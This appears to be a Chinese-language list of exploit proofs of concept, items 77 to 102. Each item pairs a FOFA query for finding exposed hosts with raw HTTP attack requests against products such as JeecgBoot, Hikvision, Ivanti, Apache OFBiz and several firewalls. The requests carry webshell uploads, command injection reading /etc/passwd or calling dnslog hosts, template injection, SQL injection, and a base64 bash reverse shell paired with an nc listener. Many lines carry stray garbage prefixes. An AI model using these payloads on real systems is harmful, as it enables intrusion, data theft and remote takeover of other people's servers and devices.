/ Q$ S3 Z2 T' Q: Z8 y; f77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
1 V( l( m/ w/ v. l# tPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
2 Y! w# a: B0 h: X% pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
4 J/ ]. H) r  B$ o: l% M$ c6 QAccept: */*
: \2 C* o) H) J# M5 yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ R- F; ]4 S: d% L; G6 vContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

" i- [; F/ l5 }) U1 e------------398jnjVTTlDVXHlE7yYnfwBoix
  }) w2 N- A$ ]: c2 s) T' p+ Q: R* M9 YContent-Disposition: form-data; name="folder"
: U) @4 Z. ?  }! W
# |2 N) w# V) o, k1 s" \/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
: ^8 h" ~1 P" l9 `: d1 N* y# Q* gContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
/ a" ^7 ~3 P  z2 B4 T& H6 `Content-Type: application/octet-stream

hello1234567
" i9 I2 d( P7 r: {( t( L------------398jnjVTTlDVXHlE7yYnfwBoix
: M. g9 y  z& d& E4 \Content-Disposition: form-data; name="Upload"
5 P( s% B/ z' X. R5 x* o" N2 ?& ?
: {+ X, V. q+ [3 N, oSubmit Query
% j" ?, i' E3 B2 w( i$ ^. J------------398jnjVTTlDVXHlE7yYnfwBoix--


+ X6 `( O+ g- T: c& N! J# ~) t78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
% c$ g  j) g9 T8 X: NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) M8 B  f7 Q- A2 y$ TConnection: close
: @% d5 d' v) \# Z" @6 sContent-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

$ n) L& M4 ^- a% P/ T, u% s------YsOxWxSvj1KyZow1PTsh98fdu6l
* ^  f4 I5 e- t8 y- pContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

6 F( [* u! h9 EYsOxWxSvj1KyZow1PTsh98fdu6l
% K" O* x) L( |------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
5 d1 ~" H' n- j1 P2 @( O$ `$ i
% q: o0 g8 i& i: ]9 f/ [9 n2 l/Applications/SkillDevelopAndEHS/
' }5 U1 Z3 o. R3 |; \' f------YsOxWxSvj1KyZow1PTsh98fdu6l--
2 ^; I2 s1 ~9 m  w! ]0 }3 X1 `
7 Y8 n; {- v! s
: c. M. G8 c( g* hGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
2 V  u+ `$ l8 @' rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, ~8 B" P- m2 o% ^3 jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' ?4 t+ v6 Z- j, N1 U: a/ IAccept-Encoding: gzip, deflate
8 ^4 ?- _! s/ B  L/ YConnection: close
* x# \' z9 J9 M! g4 oUpgrade-Insecure-Requests: 1
/ Q/ G9 v8 ~. {. f
. ^3 n5 Z- ?6 O) Y7 O0 m. e
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
+ C+ f5 `+ C* |( s7 oFOFA：app="速达软件-公司产品"
0 [5 J- h! r# H- Z& p( T8 }1 Z0 HPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
: r, Q( w6 \* P) J( [- X0 J, KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" j7 _# G. ]$ O& ~5 Q6 OContent-Length: 27
* t7 V, i. r1 h5 F; F& R9 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
# }1 `3 h. F1 j7 u6 V& S3 bUpgrade-Insecure-Requests: 1
1 s( b4 n; Z3 J* U
, E* ]% j/ ^" K3 ?6 U<% out.print("oessqeonylzaf");%>
5 `: t7 H% l) }) E2 Z
6 B! C' {+ S3 E5 X
2 f+ Y9 A7 j  m# KGET /xykqmfxpoas.jsp HTTP/1.1
. ~# K2 ?4 u, _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; \5 L1 H- X8 f# Y, CConnection: close
Accept-Encoding: gzip


81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
/ {% ^0 k$ Q* ]. o  mAccept-Encoding: gzip

3 U5 ]- b1 t+ T# ]2 f
5 P6 y4 K2 ^) y3 v0 _+ u: i6 W+ A( W( F82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
- m( _+ v$ g8 x$ ^FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
7 \! r- [0 U! RAccept-Encoding: gzip
3 X! }. I% f! zConnection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
4 c& g3 \7 D: m
z1=1&z2="|id;"&z3=bhost
/ W1 j) ]; w! F0 N! e2 n& o$ J
, E2 @5 p& C" F& M- a6 {
83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


. r" }) L2 d7 ?& E4 fPOST /jmreport/testConnection HTTP/1.1
, x: F  v" Y9 M3 UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 Z/ o  D" p) I0 f. E! l# u- `Connection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
, r  I1 m9 o2 H; [! j
PAYLOAD
4 z) n. F" Z5 D. ?# h7 t( u
: m; D- A1 N" `4 }: v2 ^3 o+ h84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"


' q  M" g& d1 S3 s6 ^4 b! H2 f' l: W: t
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
: E1 i/ J; n# c" @( bUser-Agent: curl/7.88.1
Content-Length: 156
4 Z- G2 r0 ^! ^' P. sAccept: */*
Connection: close
' X' C9 p" r1 v. x0 I* n5 T: \Content-Type: application/json
Accept-Encoding: gzip
' l$ ~3 v; w# p1 g0 }' C  g
{
6 D) D& S6 X1 {# P/ T) U* E/ ]* Z, a "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
" ^  P: `0 t5 ~- }  "type": "0"
/ f4 w$ g9 J# @}
& r0 U7 f; W5 c
4 t) y% T: Q. h6 x
85. SysAid On-premise< 23.3.36远程代码执行
+ m2 }4 @; {3 @1 i  x/ dCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
7 Z4 a& v: @) h; ?POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
! u7 P! V& E6 J& r+ M, M6 u$ M
PAYLOAD
3 j' F$ j- ~& \# s
+ ]2 t5 K( D: w/ w3 ~  \# g回显URL：http://x.x.x.x/userfiles/index.jsp
% T  m& i2 l. t% f3 p9 l
86. 日本tosei自助洗衣机RCE
' O' k/ Q" L; b/ U$ {; vFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
% M" |! m/ W6 U( K. e3 q& ~Host: x.x.x.x
/ }9 s; `8 X* V' `User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
$ c" c6 l, U; m( E( k2 n; E! yConnection: close
: t" D) n! M2 m% P  e: y* H1 d) DContent-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
, @( j) j1 u( |Content-Type: application/x-www-form-urlencoded
+ V1 h$ c, r6 P  v
host=%0acat${IFS}/etc/passwd%0a&command=ping
" p4 F( j. Q4 ]2 {8 x: g

87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
! i4 J- \9 A( s2 G1 Z9 aPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
5 U$ E- X- m: D! WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 H" ~3 Q$ y% m! f9 S) gContent-Length: 198
8 }' v6 l, a. @Accept-Encoding: gzip
# G6 v8 j* B7 Z# |) o( E: nContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
" p* J% c0 B$ ~6 y7 q8 ?; I
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
' W1 w9 k1 @* \. n5 s$ zContent-Type: text/plain

- G3 L+ w1 A5 X) s2ZqGNnsjzzU2GBBPyd8AIA7QlDq
) H7 ]: G( R$ u# ?0 ^0 `--qqobiandqgawlxodfiisporjwravxtvd--

0 o' u! Z$ J3 ^! y( y( N
5 z- V3 ?1 s( Q& K# g$ h7 a/jfhatuwe.php
2 }1 u/ o, g7 S* f& ?0 m& _
' F$ m; R, |! m' u0 Q88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
- ^0 f. Z$ P; |) T7 jFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
& x! V2 N' p+ U* e. fHost: x.x.x.xx.x.x.x
1 \+ _$ l( |3 p. qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 b  M5 X* b2 H) C' TAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

% U" p( D' D! K! ?! Y7 K$ @
1 `* M/ I& q: m5 D8 I/astdfkhl.php
; [: k7 I( `2 n* i2 Q. [( J
( k  _- l$ L" U, g89. 致远互联FE协作办公平台editflow_manager存在sql注入
* b) r2 t' H: h1 n9 l- U4 H1 LFOFA：title="FE协作办公平台" || body="li_plugins_download"
: d! ]  u3 e5 c- n( M) SPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# t( m" |; k- o" [9 `  BConnection: close
  K2 p5 j3 {, X5 d( b; ]Content-Length: 41
7 n! ^: f( s; h& N. K! g% }Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
1 Q1 E; |3 N( ]" G9 E+ rFOFA：icon_hash="-1830859634"
" a  R' q( |3 u' N# n- n  p; ]( `POST /php/ping.php HTTP/1.1
Host: x.x.x.x
7 {. k1 @" @% u/ FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
$ h  f, s* R- B4 e- ]Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
2 q" W4 G! _! l+ w$ Z: S& g, n* q, IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
* P, w1 p0 z4 w7 bContent-Type: application/x-www-form-urlencoded
7 c- z0 P5 x* I. LX-Requested-With: XMLHttpRequest
( i' b  `' ?8 ?  I; i% i6 r
; F- V' _4 J6 q& T8 |- ijsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

6 r) B. `( Y! a6 ~$ o
$ h; \- D) w% i# t91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
" r7 e" M8 n: L( g  {) LGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
. O' E8 ?) T& E( _$ m% Y) S5 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
+ v' m9 F8 n1 b+ JAccept: */*
Connection: keep-alive



3 C+ C9 D) b. x" @" _9 r92. 海康威视运行管理中心session命令执行
Fastjson命令执行
) t% f& O: W; O# Jhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
" H- _! M3 K) w9 X8 ^POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
; N- ^7 ~+ `$ A* PX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
, N% f- N! u% X. k: H2 a: _* V1 _X-Language-Type: zh_CN
Testcmd: echo test
5 p) I: |# A9 a1 F0 R9 O3 Z( {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
$ F0 R& u$ n# @( _Content-Length: 5778
% N, [! j5 c2 K6 `, v. Z
PAYLOAD
: ^/ u9 p; @) |9 y8 ~& C

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
: f+ c6 w7 w: HFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
! E. Z& g" y; Z$ p& z( {' wContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
( h1 z2 @* E8 j) W) uUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
' U% Q7 T: u+ ?/ @4 z+ }6 x; BContent-Disposition: form-data; name="MAX_FILE_SIZE"
6 v' A7 K' `7 y# Y. F+ |- W6 n
10000000
------WebKitFormBoundarykcbkgdfx
# {0 b! o1 T( VContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
2 t" @3 C% t5 `& Z; C' [! q, S- nContent-Type: text/plain
( \" R8 }2 S8 S$ v& b
& }. C4 N% c% r) r& `wagletqrkwrddkthtulxsqrphulnknxa
) X" w6 F( L0 w------WebKitFormBoundarykcbkgdfx
- T  ]( d+ c1 rContent-Disposition: form-data; name="submit_post"

- w7 y8 y% [; k& @" Bobj_app_upfile
7 j/ }4 L, n# n0 ]" F, I5 q, O------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
/ W: f+ f- S' e  ^- N/ f
0b9d6b1ab7479ab69d9f71b05e0e9445
1 J; n6 y" _) k4 C1 F------WebKitFormBoundarykcbkgdfx--
. _9 J+ ~1 D. v" g( ~/ ~! E6 x( ?

  s0 b( v* G' WGET /attachements/xlskxknxa.txt HTTP/1.1
5 j! k- l1 K5 _% CHost: xx.xx.xx.xx
8 ~$ M# _- y' V! R, P2 NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

5 [3 a6 A; R& }
3 \; B8 O5 d; O- U7 E94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
' H( Z6 D% U# YFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
. Y7 H9 ]. e9 PPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
7 [. M: E7 X5 O2 y: rContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

- L! z" O5 S" ?------WebKitFormBoundarybqvzqvmt
1 v" N0 L( |+ _" }Content-Disposition: form-data; name="MAX_FILE_SIZE"

+ d% \6 S) ~+ t2 t; M* n5 H# G10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
4 X/ H5 V& w2 i9 j$ eContent-Type: text/plain

4 r) R" t; i0 z/ W) y/ ^$ \pxplitttsrjnyoafavcajwkvhxindhmu
( l8 F+ d( o+ n0 k" t------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

1 f5 Y; l, l1 r, z; hobj_app_upfile
( ?4 Z2 M% U3 {) w3 o# W------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

7 J5 d# O% f4 v: _0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
7 A$ s1 i8 y: R
  b6 Q/ u3 `" B

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

' G" H- X+ Y7 N
2 C0 }, g$ L6 \# Q1 w
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
* }9 O+ k4 \! F. RCVE-2023-49070
/ v. S# i& Q4 G3 lFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
  U2 p* E  s' r1 }) e' _( q9 _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ E8 ]: x, D: {/ T# ?# C. s6 v! @Connection: close
; k4 T. M' W; m3 iContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
  v/ {: I4 c0 L4 x    <params>
: a* Y3 l8 m9 ~; F7 A, o      <param>
      <value>
7 W0 Q* U  D5 X/ L* F        <struct>
  t7 j  ]. f- }' s4 A; b+ Z       <member>
          <name>test</name>
4 O! B. p: k, I( C1 n          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
" d; c' v1 B; f. B; @3 p0 Z      </value>
    </param>
    </params>
. N' a4 P( L' v</methodCall>
* }6 b, I& Q5 e  }. }, b" W, r! E& W

用ysoserial生成payload
. K2 l" K. D- E6 p4 X( a0 {java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
& a# e# R5 U( \) O
) R2 C% ]& h- ]3 ^  |3 ~* R
将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
& L% c8 {) X6 G# B% KUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
$ g% u' X/ K+ {; V3 e9 z1 DContent-Length: 889
9 X1 y6 I3 l: x2 _: {9 W2 C2 l5 w0 L! jContent-Type: application/xml
/ A2 T7 L) j. E2 X1 yAccept-Encoding: gzip

PAYLOAD
6 x  Q1 Q7 c# d' N' n6 j1 Z* C. F. z
, [1 H3 B8 @; r: u5 i5 o96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
5 K, U- K2 F  w+ r4 x0 Z; APOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
% @, T& ?, r9 a2 Q' Y5 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' L3 u! n6 I% f" ~4 R$ ^6 Z% iContent-Type: application/x-www-form-urlencoded
Content-Length: 55

1 n8 Z7 j! `' g) G* g$ p, d" XgroovyProgram=throw+new+Exception('id'.execute().text);
2 ^  w  T! u' H* l' r" J

反弹shell
4 a4 \" l( ^. f, b在kali上启动一个监听
& x0 ?1 O: e- `& T9 |/ A$ t$ ]nc -lvp 7777
& x* G* b* J' P6 ~3 P0 Z4 ^# `
4 D! g( J5 ]( ^% b0 _5 R7 ^( L0 {: SPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

; {- h+ |+ h# r) E% V' ]! K- @groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
8 ]$ b' ]- R% p4 f5 rHost: 192.168.40.130:8085
+ \0 D' O2 b, v' t: u/ R5 cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ F( m, T8 ~9 D9 p" {" J/ \4 QAccept-Encoding: gzip
# Z3 b  N0 V4 K1 @9 Z9 s* @* AConnection: close
Cookie: rememberMe=PAYLOAD
) f! J. U1 }: C3 C. ZX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
! u- \" Y9 F/ @% X; D# \; l

- S8 ]0 v4 M1 B1 o( a2 B( ^98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
& D2 o5 x( I0 S. U- XFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
8 j# @0 _( w/ ~2 y$ C. AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 O/ _6 A" @- xConnection: close
! X8 K- A1 |1 w' u+ K) F' VContent-Length: 121
Accept: */*
" p. t" r; ?: M: u& fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 I* q4 z. ^5 fContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
# H6 ]0 P$ d, J7 C* i  ?
. u1 k* y$ i1 l7 J/ R2 I! cid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

# n; Z$ Q: G1 C; V* P$ H3 v9 I
! p1 k; W' v7 U8 I" t% ~; n99. Ncast盈可视高清智能录播系统busiFacade RCE
  V. E! I5 M0 ?0 D$ A1 FCVE-2024-0305
7 b4 a: E1 C. s$ }- p  }% WFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
, d' }; a* V/ D8 r' y# P7 SHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$ n$ h3 P: y) i( M7 O3 T) YConnection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 q: _- T' T4 I3 |: D3 ~+ F: EX-Requested-With: XMLHttpRequest
& e7 o0 M. z4 Z7 q8 Y
) L. b( w# I  ]9 A6 F! c# |6 ^/ g. C* J%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

1 t. d( M- l: m! s) c
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
1 V" S' T2 l+ J& {2 l) z* X% nCVE-2024-0352
( w  M! w" ^7 H. k& ZFOFA：icon_hash="874152924"
$ z3 e7 q1 x3 TPOST /api/file/formimage HTTP/1.1
7 A( Q& {  @8 |. W0 P6 }4 qHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
! l6 T0 F! M3 R7 qContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
/ f7 j* M& p7 v8 l& d3 H7 x/ b$ xAccept-Encoding: gzip

" _4 K/ c, d% ]4 |------WebKitFormBoundarygcflwtei
  V' q! J7 C9 L' j  ]7 a6 SContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

* ~! o; [) b, S0 l2ayyhRXiAsKXL8olvF5s4qqyI2O
  w  Z- c' V  \5 [2 o, T4 N. E------WebKitFormBoundarygcflwtei--

: A1 Q# ^0 f$ w0 R3 R: }
6 O2 E* _5 G! u7 V7 |9 U: Y9 G& a101. ivanti policy secure-22.6命令注入
- ?: F0 h2 Y) a5 L$ f4 ?CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
. c" T; C. j9 ?6 a; @User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" H( H! D! W, A& t& P7 A- ZConnection: close
2 `: e5 v1 Z4 vAccept-Encoding: gzip


; ?3 C/ G1 y2 }' o# Y; q' P102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
: O. U$ f: k) \) b* d4 u* `CVE-2024-21893
$ e0 ^/ D4 `/ U- h, e5 \# EFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
1 U( y9 S: G+ y9 [4 XHost: x.x.x.x
6 g5 a/ d+ m2 b& v  HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
8 b3 o+ l; ]5 \" M: j8 aContent-Length: 792
Accept-Encoding: gzip

